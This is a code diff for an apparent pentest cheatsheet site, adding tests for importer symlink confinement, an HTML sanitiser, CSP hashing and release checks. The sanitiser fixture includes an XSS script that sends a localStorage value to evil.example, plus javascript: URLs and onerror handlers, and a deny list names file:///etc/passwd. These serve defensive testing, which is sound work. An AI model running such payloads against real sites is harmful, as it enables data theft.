             <p class="eyebrow" style="--acc: var(--gold);">
               <span class="eyebrow__n">DL</span>
               <span class="eyebrow__mark">^:</span>
-              <span>{downloads.length} signed files · {downloadSize}</span>
+              <span>{downloads.length} {signatures.complete ? 'signed' : 'checksummed'} files · {downloadSize}</span>
               <span class="eyebrow__rule" aria-hidden="true"></span>
             </p>
-            <h2 id="signed-downloads-title">Signed attachment library</h2>
-            <p class="muted download-library__lede">
-              Every attachment referenced by the workflow sheets is mirrored here. Each download has an individual
-              SHA-256 checksum and detached OpenPGP signature; the combined manifest covers the complete set.
-            </p>
+            <h2 id="signed-downloads-title">{signatures.complete ? 'Signed attachment library' : 'Attachment library'}</h2>
+            {signatures.complete ? (
+              <p class="muted download-library__lede">
+                Every attachment referenced by the workflow sheets is mirrored here. Each download has an individual
+                SHA-256 checksum and detached OpenPGP signature; the combined manifest covers the complete set.
+              </p>
+            ) : (
+              <p class="muted download-library__lede">
+                Every attachment referenced by the workflow sheets is mirrored here, each with a SHA-256 checksum, and
+                the combined manifest covers the complete set. These files are not OpenPGP-signed in this release: a
+                checksum served from the same site catches a corrupted download, not a substituted one.
+              </p>
+            )}
           </div>
           <div class="download-library__manifest">
             <a class="btn" href={url('downloads/pentest-workflow/SHA256SUMS')} download>SHA256SUMS</a>
-            <a class="btn btn--ghost" href={url('downloads/pentest-workflow/SHA256SUMS.asc')} download>Manifest signature</a>
+            {signatures.manifest && (
+              <a class="btn btn--ghost" href={url('downloads/pentest-workflow/SHA256SUMS.asc')} download>Manifest signature</a>
+            )}
           </div>
         </div>
 
@@ -239,7 +255,7 @@ const downloadSize = `${(downloadBytes / 1024 / 1024).toFixed(1)} MiB`;
               <span class="download-row__size">{item.sizeLabel}</span>
               <div class="download-row__proof">
                 <a href={url(item.checksumHref)} download>SHA-256</a>
-                <a href={url(item.signatureHref)} download>GPG</a>
+                {signatures.files.has(item.name) && <a href={url(item.signatureHref)} download>GPG</a>}
               </div>
             </article>
           ))}

src/scripts/report-index.ts

@@ -8,6 +8,32 @@ let generation = 0;
 let pending: AbortController | null = null;
 let durable = true;
 
+/* Where the decrypted index may be written to browser storage.
+ *
+ * Storage belongs to an origin, not to a project. The production hostname is
+ * this site's alone, so saving there is safe and is what the README promises.
+ * A preview address is not: `http://localhost:4321` is whatever happens to be
+ * listening on that port, and the next project served there, in the same
+ * browser profile, could read a saved index long after the GPG helper stopped.
+ * The same goes for any plain-http address on the LAN.
+ *
+ * So anything that is not https on a real hostname keeps the index in memory
+ * only: it survives in-site navigation, a reload locks it again, and whatever
+ * an earlier version of this script saved there is removed on sight.
+ */
+function savesToBrowser() {
+  const host = location.hostname.replace(/^\[|\]$/g, '').toLowerCase();
+  const loopback = host === 'localhost' || host.endsWith('.localhost') || host === '::1' || host === '0.0.0.0' || /^127\./.test(host);
+  return location.protocol === 'https:' && !loopback;
+}
+
+function forgetStored() {
+  try { localStorage.removeItem(CACHE_KEY); } catch { /* Nothing readable to remove. */ }
+  try { sessionStorage.removeItem(LEGACY_CACHE_KEY); } catch { /* Nothing readable to remove. */ }
+}
+
+if (!savesToBrowser()) forgetStored();
+
 function cancelPending() {
   generation++;
   pending?.abort();
@@ -43,7 +69,8 @@ function render(panel: HTMLDialogElement) {
   panel.querySelector<HTMLButtonElement>('[data-report-index-lock]')!.hidden = !session;
   const status = panel.querySelector<HTMLElement>('[data-report-index-status]')!;
   status.textContent = session
-    ? `${durable ? 'Saved in this browser' : 'Unlocked · browser storage is unavailable; refresh will lock it'} · ${session.steps.length} steps in CPTS order`
+    ? `${!savesToBrowser() ? 'Unlocked until this page reloads · a local preview never saves the index'
+      : durable ? 'Saved in this browser' : 'Unlocked · browser storage is unavailable; refresh will lock it'} · ${session.steps.length} steps in CPTS order`
     : 'Locked';
   if (session) {
     const list = document.createElement('ol');
@@ -91,6 +118,7 @@ function lockSession() {
 async function restore(panel: HTMLDialogElement) {
   if (session?.digest !== panel.dataset.digest) session = null;
   if (session) { render(panel); return; }
+  if (!savesToBrowser()) { forgetStored(); return; }
   const mine = generation;
   try {
     let cached = localStorage.getItem(CACHE_KEY);
@@ -117,6 +145,7 @@ async function restore(panel: HTMLDialogElement) {
 
 function saveSession() {
   if (!session) return;
+  if (!savesToBrowser()) { durable = false; forgetStored(); return; }
   try {
     localStorage.setItem(CACHE_KEY, JSON.stringify({ digest: session.digest, text: session.text }));
     durable = true;
@@ -240,6 +269,8 @@ document.addEventListener('astro:before-swap', () => {
 document.addEventListener('astro:page-load', bind);
 window.addEventListener('hashchange', bind);
 window.addEventListener('storage', event => {
+  // A preview keeps nothing in storage, so nothing written there is ours to act on.
+  if (!savesToBrowser()) return;
   if (event.key !== CACHE_KEY && event.key !== null) return;
   cancelPending();
   session = null;

test/import-confinement.test.mjs

new file mode 100644
@@ -0,0 +1,222 @@
+// The importers turn files from outside the repository into published content.
+// These tests run each one against a throwaway source tree and check that a
+// symbolic link is refused before anything is written, that the vault importer
+// will not publish a working ledger, and that a withdrawn download leaves the
+// public folder with its checksum and signature.
+//
+// Each importer finds the repository from its own location, so the scripts are
+// copied into a temporary "repo" and run from there. The real tree is never
+// written to.
+import assert from 'node:assert/strict';
+import { spawnSync } from 'node:child_process';
+import { cpSync, existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import test from 'node:test';
+import { fileURLToPath } from 'node:url';
+
+const scripts = fileURLToPath(new URL('../scripts/', import.meta.url));
+const python = spawnSync('python3', ['--version']).status === 0;
+const skip = python ? false : 'python3 is not installed';
+const SECRET = 'outside-secret-0f3a9c-must-never-be-published';
+
+function sandbox(t) {
+  const root = mkdtempSync(join(tmpdir(), 'dmn-import-'));
+  t.after(() => rmSync(root, { recursive: true, force: true }));
+  const repo = join(root, 'repo');
+  mkdirSync(join(repo, 'scripts'), { recursive: true });
+  for (const name of readdirSync(scripts)) if (name.endsWith('.py')) cpSync(join(scripts, name), join(repo, 'scripts', name));
+  const secret = join(root, 'secret.txt');
+  writeFileSync(secret, `${SECRET}\n`);
+  return { root, repo, secret };
+}
+
+function write(file, text) {
+  mkdirSync(dirname(file), { recursive: true });
+  writeFileSync(file, text);
+}
+
+function run(repo, script, args = [], env = {}) {
+  const result = spawnSync('python3', [join(repo, 'scripts', script), ...args], { encoding: 'utf8', env: { ...process.env, ...env } });
+  return { code: result.status, out: `${result.stdout}${result.stderr}` };
+}
+
+/** Every regular file under dir whose bytes contain the secret. */
+function leaks(dir) {
+  const found = [];
+  const visit = (current) => {
+    for (const name of readdirSync(current)) {
+      const p = join(current, name);
+      if (statSync(p).isDirectory()) visit(p);
+      else if (readFileSync(p).includes(SECRET)) found.push(p);
+    }
+  };
+  if (existsSync(dir)) visit(dir);
+  return found;
+}
+
+function refuses(result, repo) {
+  assert.notEqual(result.code, 0, `the import should have failed:\n${result.out}`);
+  assert.match(result.out, /unsafe|symbolic link/i);
+  assert.deepEqual(leaks(repo), [], 'the linked file reached the repository');
+}
+
+test('the PayloadsAllTheThings importer refuses linked pages, licences and topics', { skip }, (t) => {
+  const { root, repo, secret } = sandbox(t);
+  const clone = join(root, 'patt');
+  write(join(clone, 'SQL Injection', 'README.md'), '# SQL Injection\n\nBody.\n');
+  write(join(clone, 'LICENSE'), 'MIT\n');
+
+  const clean = run(repo, 'sync-payloads.py', [clone, 'abc123']);
+  assert.equal(clean.code, 0, clean.out);
+  const page = join(repo, 'src/content/payloads/sql-injection/index.md');
+  assert.ok(existsSync(page));
+  assert.equal(readFileSync(join(repo, 'vendor/PayloadsAllTheThings/LICENSE'), 'utf8'), 'MIT\n');
+
+  symlinkSync(secret, join(clone, 'SQL Injection', 'notes.md'));
+  refuses(run(repo, 'sync-payloads.py', [clone, 'abc124']), repo);
+  assert.ok(existsSync(page), 'a refused sync must leave the existing mirror in place');
+  rmSync(join(clone, 'SQL Injection', 'notes.md'));
+
+  rmSync(join(clone, 'LICENSE'));
+  symlinkSync(secret, join(clone, 'LICENSE'));
+  refuses(run(repo, 'sync-payloads.py', [clone, 'abc125']), repo);
+  assert.equal(readFileSync(join(repo, 'vendor/PayloadsAllTheThings/LICENSE'), 'utf8'), 'MIT\n');
+  rmSync(join(clone, 'LICENSE'));
+  writeFileSync(join(clone, 'LICENSE'), 'MIT\n');
+
+  const outside = join(root, 'outside-topic');
+  write(join(outside, 'README.md'), `# Elsewhere\n\n${SECRET}\n`);
+  symlinkSync(outside, join(clone, 'Linked Topic'));
+  refuses(run(repo, 'sync-payloads.py', [clone, 'abc126']), repo);
+});
+
+test('the InternalAllTheThings importer refuses linked pages', { skip }, (t) => {
+  const { root, repo, secret } = sandbox(t);
+  const clone = join(root, 'iatt');
+  write(join(clone, 'docs', 'cloud', 'aws.md'), '# AWS\n\nBody.\n');
+  write(join(clone, 'docs', 'DISCLAIMER.md'), '# Disclaimer\n\nBody.\n');
+
+  const clean = run(repo, 'sync-internal.py', [clone, 'abc123']);
+  assert.equal(clean.code, 0, clean.out);
+  const page = join(repo, 'src/content/internal/cloud/aws.md');
+  assert.ok(existsSync(page));
+
+  symlinkSync(secret, join(clone, 'docs', 'cloud', 'notes.md'));
+  refuses(run(repo, 'sync-internal.py', [clone, 'abc124']), repo);
+  assert.ok(existsSync(page), 'a refused sync must leave the existing mirror in place');
+  rmSync(join(clone, 'docs', 'cloud', 'notes.md'));
+
+  symlinkSync(secret, join(clone, 'docs', 'ROOT.md'));
+  refuses(run(repo, 'sync-internal.py', [clone, 'abc125']), repo);
+});
+
+test('the HackTricks importer refuses linked pages and does not enter linked folders', { skip }, (t) => {
+  const { root, repo, secret } = sandbox(t);
+  const clone = join(root, 'hacktricks');
+  write(join(clone, 'src', 'pentesting-web', 'xss.md'), '# XSS\n\nBody.\n');
+
+  const outside = join(root, 'outside-folder');
+  write(join(outside, 'leak.md'), `# Elsewhere\n\n${SECRET}\n`);
+  symlinkSync(outside, join(clone, 'src', 'pentesting-web', 'linked'));
+  const clean = run(repo, 'sync-hacktricks.py', [clone, 'abc123']);
+  assert.equal(clean.code, 0, clean.out);
+  assert.ok(existsSync(join(repo, 'src/content/hacktricks/pentesting-web/xss.md')));
+  assert.deepEqual(leaks(repo), [], 'a page behind a linked folder was imported');
+
+  symlinkSync(secret, join(clone, 'src', 'pentesting-web', 'notes.md'));
+  refuses(run(repo, 'sync-hacktricks.py', [clone, 'abc124']), repo);
+  assert.ok(existsSync(join(repo, 'src/content/hacktricks/pentesting-web/xss.md')));
+});
+
+function vault(t) {
+  const box = sandbox(t);
+  const source = join(box.root, 'vault');
+  const listed = spawnSync('python3', ['-c', [
+    'import importlib.util, json, sys',
+    'spec = importlib.util.spec_from_file_location("m", sys.argv[1])',
+    'm = importlib.util.module_from_spec(spec); spec.loader.exec_module(m)',
+    'print(json.dumps({"slugs": m.SLUGS, "never": sorted(m.NEVER_PUBLISH)}))',
+  ].join('\n'), join(box.repo, 'scripts', 'sync-pentest-workflow.py')], { encoding: 'utf8' });
+  assert.equal(listed.status, 0, listed.stderr);
+  const { slugs, never } = JSON.parse(listed.stdout);
+  for (const rel of Object.keys(slugs)) write(join(source, rel), `# ${rel}\n\nBody.\n`);
+  const first = Object.keys(slugs)[0];
+  const sync = () => run(box.repo, 'sync-pentest-workflow.py', [], { PENTEST_WORKFLOW_SOURCE: source });
+  return { ...box, source, slugs, never, first, sync, sheet: (rel) => join(box.repo, 'src/content/sheets/pentest-workflow', `${slugs[rel]}.md`) };
+}
+
+test('the vault importer never publishes the loot ledger, a SENSITIVE note or a private key', { skip }, (t) => {
+  const v = vault(t);
+  assert.ok(v.never.includes('loot.md'));
+  assert.ok(!Object.keys(v.slugs).includes('loot.md'), 'loot.md must not be on the publication list');
+
+  write(join(v.source, 'loot.md'), '> [!warning]+ SENSITIVE — Live Credential Store\n\nsvc_backup : Winter2026!\n');
+  const clean = v.sync();
+  assert.equal(clean.code, 0, clean.out);
+  assert.ok(!existsSync(join(v.repo, 'src/content/sheets/pentest-workflow/loot.md')));
+
+  const original = readFileSync(join(v.source, v.first), 'utf8');
+  const before = readFileSync(v.sheet(v.first), 'utf8');
+  writeFileSync(join(v.source, v.first), `> [!danger] SENSITIVE: engagement secrets\n\n${original}`);
+  const banner = v.sync();
+  assert.notEqual(banner.code, 0);
+  assert.match(banner.out, /Refusing to publish/);
+  assert.equal(readFileSync(v.sheet(v.first), 'utf8'), before, 'a refused run must not rewrite the published sheet');
+
+  const marker = (edge) => `-----${edge} OPENSSH ${'PRIVATE'} KEY-----`;
+  const key = [marker('BEGIN'), ...Array.from({ length: 6 }, () => 'b3BlbnNzaC1rZXktdjEA'.repeat(3)), marker('END')].join('\n');
+  writeFileSync(join(v.source, v.first), `${original}\n\`\`\`\n${key}\n\`\`\`\n`);
+  const keyed = v.sync();
+  assert.notEqual(keyed.code, 0);
+  assert.match(keyed.out, /private-key block/);
+
+  // A bare marker (a search dork, a grep pattern) is ordinary cheatsheet content.
+  writeFileSync(join(v.source, v.first), `${original}\n\`grep -r "${marker('BEGIN')}" /home\`\n`);
+  assert.equal(v.sync().code, 0);
+});
+
+test('the vault importer refuses linked notes and attachments', { skip }, (t) => {
+  const v = vault(t);
+  writeFileSync(join(v.source, v.first), '# Dashboard\n\n![[attachments/tool.exe]]\n');
+  write(join(v.source, 'attachments', 'tool.exe'), 'real tool bytes\n');
+  assert.equal(v.sync().code, 0);
+  const downloads = join(v.repo, 'public/downloads/pentest-workflow');
+  assert.equal(readFileSync(join(downloads, 'tool.exe'), 'utf8'), 'real tool bytes\n');
+
+  rmSync(join(v.source, 'attachments', 'tool.exe'));
+  symlinkSync(v.secret, join(v.source, 'attachments', 'tool.exe'));
+  refuses(v.sync(), v.repo);
+  assert.equal(readFileSync(join(downloads, 'tool.exe'), 'utf8'), 'real tool bytes\n');
+
+  rmSync(join(v.source, 'attachments', 'tool.exe'));
+  writeFileSync(join(v.source, 'attachments', 'tool.exe'), 'real tool bytes\n');
+  const last = Object.keys(v.slugs).at(-1);
+  rmSync(join(v.source, last));
+  symlinkSync(v.secret, join(v.source, last));
+  refuses(v.sync(), v.repo);
+});
+
+test('a withdrawn download leaves the public folder, and signatures are linked only when present', { skip }, (t) => {
+  const v = vault(t);
+  writeFileSync(join(v.source, v.first), '# Dashboard\n\n![[attachments/keep.exe]]\n\n![[attachments/old.exe]]\n\n[[attachments/SHA256SUMS.txt]]\n');
+  write(join(v.source, 'attachments', 'keep.exe'), 'keep\n');
+  write(join(v.source, 'attachments', 'old.exe'), 'old\n');
+  assert.equal(v.sync().code, 0);
+  const downloads = join(v.repo, 'public/downloads/pentest-workflow');
+  assert.deepEqual(readdirSync(downloads).sort(), ['SHA256SUMS', 'keep.exe', 'keep.exe.sha256', 'old.exe', 'old.exe.sha256']);
+  assert.doesNotMatch(readFileSync(v.sheet(v.first), 'utf8'), /\.asc\)/, 'no signature exists yet, so none may be linked');
+
+  for (const name of ['SHA256SUMS.asc', 'keep.exe.sha256.asc', 'old.exe.sha256.asc']) writeFileSync(join(downloads, name), 'signature\n');
+  writeFileSync(join(v.source, v.first), '# Dashboard\n\n![[attachments/keep.exe]]\n\n[[attachments/SHA256SUMS.txt]]\n');
+  const second = v.sync();
+  assert.equal(second.code, 0, second.out);
+  // old.exe is gone with its checksum and signature; the manifest changed, so
+  // its old signature no longer covers it; keep.exe is unchanged and stays signed.
+  assert.deepEqual(readdirSync(downloads).sort(), ['SHA256SUMS', 'keep.exe', 'keep.exe.sha256', 'keep.exe.sha256.asc']);
+  const sheet = readFileSync(v.sheet(v.first), 'utf8');
+  assert.match(sheet, /keep\.exe\.sha256\.asc\)/);
+  assert.doesNotMatch(sheet, /SHA256SUMS\.asc/);
+  const catalogue = JSON.parse(readFileSync(join(v.repo, 'src/data/pentest-workflow-downloads.json'), 'utf8'));
+  assert.deepEqual(catalogue.map((entry) => entry.name), ['keep.exe']);
+});

test/mirror-sanitizer.test.mjs

new file mode 100644
@@ -0,0 +1,148 @@
+// Mirrored Markdown is third-party input rendered on this origin. Two locks
+// keep a script committed upstream from running here: the sanitiser that
+// strips it at render time, and the CSP hash step that refuses to authorise
+// any inline script the site's own templates did not produce.
+import assert from 'node:assert/strict';
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import test from 'node:test';
+import { createMarkdownProcessor } from '@astrojs/markdown-remark';
+import { isFirstParty, isSafeUrl, rehypeSanitizeMirror } from '../src/lib/rehype-sanitize-mirror.mjs';
+import { collect, inlineScripts } from '../scripts/csp-hashes.mjs';
+
+const processor = await createMarkdownProcessor({
+  rehypePlugins: [[rehypeSanitizeMirror, { contentRoots: ['/repo/src/content'] }]],
+  shikiConfig: { theme: 'rose-pine-moon' },
+});
+const render = async (markdown, path) => (await processor.render(markdown, { fileURL: new URL(`file:///repo/src/content/${path}`) })).code;
+
+const HOSTILE = `# Page
+
+Intro <kbd>Ctrl</kbd> <script>alert('inline')</script> [js](javascript:alert(1)) [ok](https://example.com/a) [rel](../other#frag)
+
+<script>
+fetch('https://evil.example/?' + localStorage.getItem('daemonsec:report-index:browser:v1'))
+</script>
+
+<details>
+<summary>More</summary>
+
+**bold** inside
+
+</details>
+
+<p align="center" style="position:fixed" onclick="x()" class="report-index"><img src="https://example.com/a.png" onerror="alert(1)" width="100"><img src="data:image/svg+xml,x"></p>
+
+<iframe src="https://evil.example"></iframe><style>body{display:none}</style><form action="https://evil.example"><input name="q"><button>go</button></form>
+
+<span data-dmn-built="guess" style="color:red">forged</span> <svg><script>alert(2)</script></svg> <marquee>unwrapped</marquee> <!-- note -->
+
+<a name="anchor"></a><a id="report index dialog">bad id</a><a href="#1mb-limit" id="1mb-limit">digit</a>
+
+- [x] task
+
+\`\`\`html
+<script>alert("the example stays readable")</script>
+\`\`\`
+`;
+
+test('scripts, styles, frames, handlers and unsafe URLs are stripped from mirrored pages', async () => {
+  for (const collection of ['payloads/xss/index.md', 'internal/cloud/aws.md', 'hacktricks/pentesting-web/xss.md']) {
+    const html = await render(HOSTILE, collection);
+    // Remove the fenced example before looking for live markup: there the
+    // tags are escaped text, which is the point of a payload reference.
+    const live = html.replace(/<pre[\s\S]*?<\/pre>/g, '');
+    for (const forbidden of [/<script/i, /<style/i, /<iframe/i, /<form/i, /<input name/i, /<button/i, /<svg/i, /<marquee/i,
+      /onerror/i, /onclick/i, /javascript:/i, /data:image/i, /position:fixed/, /class="report-index"/, /data-dmn-built/, /evil\.example/, /<!--/]) {
+      assert.doesNotMatch(live, forbidden, `${collection} kept ${forbidden}`);
+    }
+    assert.match(live, /<kbd>Ctrl<\/kbd>/);
+    assert.match(live, /<details>\s*<summary>More<\/summary>\s*<p><strong>bold<\/strong> inside<\/p>\s*<\/details>/);
+    assert.match(live, /<p align="center"><img src="https:\/\/example\.com\/a\.png" width="100"><\/p>/);
+    assert.match(live, /<a href="https:\/\/example\.com\/a">ok<\/a>/);
+    assert.match(live, /<a href="\.\.\/other#frag">rel<\/a>/);
+    assert.match(live, /<a>js<\/a>/);
+    assert.match(live, /<span>forged<\/span>/);
+    assert.match(live, /unwrapped/);
+    assert.match(live, /<a id="anchor"><\/a><a>bad id<\/a>/);
+    assert.match(live, /<a id="1mb-limit" href="#1mb-limit">digit<\/a>/);
+    // What the build itself produced keeps its attributes.
+    assert.match(live, /<input type="checkbox" checked disabled>/);
+    assert.match(html, /<pre class="astro-code[^>]*style="[^"]+"/);
+    assert.match(html, /the example stays readable/);
+    assert.match(html, /&#x3C;(?:<[^>]+>)*script/, 'the fenced example must stay escaped text');
+  }
+});
+
+test('first-party sheets are not sanitised', async () => {
+  const html = await render(HOSTILE, 'sheets/web/example.md');
+  assert.match(html, /<iframe src="https:\/\/evil\.example">/);
+  assert.match(html, /class="report-index"/);
+});
+
+test('a mirror cannot opt out by naming a folder after the first-party collection', async () => {
+  // An upstream folder called src/content/sheets lands at this path after import.
+  for (const path of ['payloads/topic/src/content/sheets/page.md', 'internal/src/content/sheets/page.md', 'payloads/../payloads/sheets/x.md']) {
+    const html = await render(HOSTILE, path);
+    assert.doesNotMatch(html.replace(/<pre[\s\S]*?<\/pre>/g, ''), /<script|<iframe|onerror/i, path);
+  }
+  const roots = ['/repo/src/content'];
+  assert.ok(isFirstParty('/repo/src/content/sheets/web/x.md', roots));
+  assert.ok(isFirstParty('C:\\repo\\src\\content\\sheets\\web\\x.md', ['C:\\repo\\src\\content']));
+  for (const path of ['', '/repo/src/content/sheets', '/repo/src/content/sheets-evil/x.md', '/repo/src/content/payloads/a/src/content/sheets/x.md',
+    '/elsewhere/src/content/sheets/x.md', '/repo/src/content/sheets/../payloads/x.md', 'src/content/sheets/x.md']) {
+    assert.ok(!isFirstParty(path, roots), path || '(no path)');
+  }
+});
+
+test("the build's own content root is recognised, so real sheets stay first-party", () => {
+  assert.ok(isFirstParty(new URL('../src/content/sheets/exploitation/sqlmap.md', import.meta.url).pathname));
+  assert.ok(!isFirstParty(new URL('../src/content/payloads/xss-injection/index.md', import.meta.url).pathname));
+});
+
+test('a collection the sanitiser has never heard of is treated as third-party', async () => {
+  const html = await render(HOSTILE, 'some-new-mirror/page.md');
+  assert.doesNotMatch(html.replace(/<pre[\s\S]*?<\/pre>/g, ''), /<script|<iframe|onerror/i);
+});
+
+test('only http(s), mailto and relative URLs pass', () => {
+  const link = new Set(['http', 'https', 'mailto']);
+  for (const ok of ['https://a.example', 'HTTP://a.example', 'mailto:a@b.example', '/x', '../x', '#frag', '?q=1', 'page.md', '//cdn.example/x', './a:b']) {
+    assert.ok(isSafeUrl(ok, link), ok);
+  }
+  for (const bad of ['javascript:alert(1)', 'JaVaScRiPt:alert(1)', ' \u0001javascript:alert(1)', 'java\nscript:alert(1)', 'java\tscript:alert(1)',
+    'data:text/html,x', 'vbscript:x', 'file:///etc/passwd', 'blob:x']) {
+    assert.ok(!isSafeUrl(bad, link), JSON.stringify(bad));
+  }
+});
+
+function site(t, pages) {
+  const dist = mkdtempSync(join(tmpdir(), 'dmn-csp-'));
+  t.after(() => rmSync(dist, { recursive: true, force: true }));
+  for (const [path, html] of Object.entries(pages)) {
+    mkdirSync(dirname(join(dist, path)), { recursive: true });
+    writeFileSync(join(dist, path), html);
+  }
+  return dist;
+}
+
+test('the CSP allowlist comes from first-party pages and an imported script cannot join it', (t) => {
+  const layout = '<script>theme()</script><script type="module" src="/_astro/app.js"></script><script type="application/ld+json">{"a":1}</script>';
+  const dist = site(t, {
+    '404.html': `<html>${layout}</html>`,
+    'sheets/a/index.html': `<html>${layout}<article>fine</article></html>`,
+    'payloads/xss/index.html': `<html>${layout}<article><SCRIPT type="text/javascript">steal()</SCRIPT></article></html>`,
+  });
+  const { allowed, unknown, files } = collect(dist);
+  assert.equal(files, 3);
+  assert.deepEqual([...allowed], inlineScripts('<script>theme()</script>').map((s) => s.hash));
+  assert.equal(unknown.length, 1);
+  assert.equal(unknown[0].page, join('payloads', 'xss', 'index.html'));
+  assert.equal(unknown[0].preview, 'steal()');
+  assert.ok(!allowed.has(unknown[0].hash));
+
+  const clean = site(t, { '404.html': `<html>${layout}</html>`, 'payloads/xss/index.html': `<html>${layout}<pre>&lt;script&gt;steal()&lt;/script&gt;</pre></html>` });
+  assert.deepEqual(collect(clean).unknown, []);
+  assert.throws(() => collect(site(t, { 'index.html': layout })), /trusted page 404\.html is missing/);
+});

test/release-checks.test.mjs

new file mode 100644
@@ -0,0 +1,181 @@
+// What a release is allowed to contain: one build's search index, no private
+// key in first-party output, a download folder that matches its catalogue and
+// signature claims that match the files actually published.
+import assert from 'node:assert/strict';
+import { createHash } from 'node:crypto';
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import test from 'node:test';
+import { gzipSync } from 'node:zlib';
+import { checkSearchIndex, findPrivateKeys, hasPrivateKey, htmlToText } from '../scripts/check-release.mjs';
+import { verifyDownloads } from '../scripts/verify-downloads.mjs';
+
+const repo = new URL('../', import.meta.url);
+
+function temp(t) {
+  const dir = mkdtempSync(join(tmpdir(), 'dmn-release-'));
+  t.after(() => rmSync(dir, { recursive: true, force: true }));
+  return dir;
+}
+function write(file, data) {
+  mkdirSync(dirname(file), { recursive: true });
+  writeFileSync(file, data);
+}
+// Assembled at run time so this file never contains something that looks like a key.
+const marker = (edge) => `-----${edge} OPENSSH ${'PRIVATE'} KEY-----`;
+const keyLines = [marker('BEGIN'), ...Array.from({ length: 6 }, () => 'b3BlbnNzaC1rZXktdjEA'.repeat(3)), marker('END')];
+const fragment = (page) => gzipSync(`pagefind_dcd${JSON.stringify(page)}`);
+
+test('only a complete private-key block counts as a key', () => {
+  assert.ok(hasPrivateKey(keyLines.join('\n')));
+  assert.ok(hasPrivateKey(keyLines.join(' ')), 'search fragments collapse newlines to spaces');
+  assert.ok(!hasPrivateKey(`intext:"${marker('BEGIN')}" filetype:pem`));
+  assert.ok(!hasPrivateKey(`${marker('BEGIN')}\n...\n${marker('END')}`));
+  const highlighted = keyLines.map((line) => `<span class="line"><span style="color:#E0DEF4">${line.replace(/=/g, '&#x3D;')}</span></span>`).join('\n');
+  assert.ok(hasPrivateKey(htmlToText(`<pre><code>${highlighted}</code></pre>`)));
+});
+
+test('a published key is found in a sheet, its page and its search fragment, but not in a mirror', (t) => {
+  const root = temp(t);
+  const dist = join(root, 'dist');
+  const sheets = join(root, 'sheets');
+  const html = `<article><pre>${keyLines.map((l) => `<span>${l}</span>`).join('\n')}</pre></article>`;
+  write(join(sheets, 'pentest-workflow', 'ledger.md'), keyLines.join('\n'));
+  write(join(sheets, 'enumeration', 'dorks.md'), `intext:"${marker('BEGIN')}"`);
+  write(join(dist, 'sheets', 'pentest-workflow', 'ledger', 'index.html'), html);
+  write(join(dist, 'payloads', 'jwt', 'index.html'), html);
+  write(join(dist, 'pagefind', 'fragment', 'en_aaaaaaa.pf_fragment'), fragment({ url: '/sheets/pentest-workflow/ledger/', content: keyLines.join(' ') }));
+  write(join(dist, 'pagefind', 'fragment', 'en_bbbbbbb.pf_fragment'), fragment({ url: '/payloads/jwt/', content: keyLines.join(' ') }));
+  write(join(dist, 'pagefind', 'fragment', 'en_ccccccc.pf_fragment'), fragment({ url: '/sheets/enumeration/dorks/', content: `intext:"${marker('BEGIN')}"` }));
+
+  const hits = findPrivateKeys({ dist, sheets });
+  assert.equal(hits.length, 3, hits.join('\n'));
+  assert.ok(hits.some((h) => h.startsWith('source sheet') && h.endsWith('ledger.md')));
+  assert.ok(hits.some((h) => h.startsWith('page') && h.includes('ledger')));
+  assert.ok(hits.some((h) => h.includes('en_aaaaaaa.pf_fragment') && h.includes('/sheets/pentest-workflow/ledger/')));
+});
+
+test('search output left over from another build is detected', (t) => {
+  const dir = join(temp(t), 'pagefind');
+  write(join(dir, 'pagefind-entry.json'), JSON.stringify({ version: '1.5.2', languages: { en: { hash: 'en_new', wasm: 'en', page_count: 2 } } }));
+  write(join(dir, 'pagefind.en_new.pf_meta'), 'meta');
+  write(join(dir, 'fragment', 'en_1.pf_fragment'), fragment({ url: '/a/', content: 'a' }));
+  write(join(dir, 'fragment', 'en_2.pf_fragment'), fragment({ url: '/b/', content: 'b' }));
+  assert.deepEqual(checkSearchIndex(dir), []);
+
+  write(join(dir, 'fragment', 'en_old.pf_fragment'), fragment({ url: '/removed/', content: 'text of a page that was deleted' }));
+  write(join(dir, 'pagefind.en_old.pf_meta'), 'meta');
+  const problems = checkSearchIndex(dir);
+  assert.equal(problems.length, 2);
+  assert.match(problems[0], /3 search fragments on disk but this build indexed 2 pages/);
+  assert.match(problems[1], /metadata file\(s\) from another build: pagefind\.en_old\.pf_meta/);
+});
+
+function library(t, files) {
+  const dir = temp(t);
+  const records = [];
+  let manifest = '';
+  for (const [name, body] of Object.entries(files)) {
+    const sha256 = createHash('sha256').update(body).digest('hex');
+    writeFileSync(join(dir, name), body);
+    writeFileSync(join(dir, `${name}.sha256`), `${sha256}  ${name}\n`);
+    manifest += `${sha256}  ${name}\n`;
+    records.push({ name, sha256 });
+  }
+  writeFileSync(join(dir, 'SHA256SUMS'), manifest);
+  return { dir, records };
+}
+const FPR = 'A'.repeat(40);
+
+test('the download check accepts a matching unsigned library and says it is unsigned', async (t) => {
+  const { dir, records } = library(t, { 'a.exe': 'a', 'b.zip': 'b' });
+  const result = await verifyDownloads({ dir, records, fingerprint: FPR });
+  assert.deepEqual(result, { problems: [], signed: false, files: 2 });
+  const strict = await verifyDownloads({ dir, records, fingerprint: FPR, requireSigned: true });
+  assert.match(strict.problems.join('\n'), /no detached signatures are published/);
+});
+
+test('the download check refuses leftovers, altered files and stale checksums', async (t) => {
+  const { dir, records } = library(t, { 'a.exe': 'a', 'b.zip': 'b' });
+  writeFileSync(join(dir, 'withdrawn.exe'), 'still served');
+  writeFileSync(join(dir, 'b.zip'), 'swapped');
+  const { problems } = await verifyDownloads({ dir, records, fingerprint: FPR });
+  const text = problems.join('\n');
+  assert.match(text, /withdrawn\.exe is served but is not in the catalogue/);
+  assert.match(text, /b\.zip does not match its catalogued SHA-256/);
+  assert.match(text, /b\.zip does not match SHA256SUMS/);
+  assert.match(text, /b\.zip\.sha256 does not match b\.zip/);
+  assert.doesNotMatch(text, /a\.exe/);
+});
+
+test('signatures are all-or-nothing and must come from the pinned key', async (t) => {
+  const { dir, records } = library(t, { 'a.exe': 'a', 'b.zip': 'b' });
+  writeFileSync(join(dir, 'a.exe.sha256.asc'), 'sig');
+  const good = async () => true;
+  const partial = await verifyDownloads({ dir, records, fingerprint: FPR, verify: good });
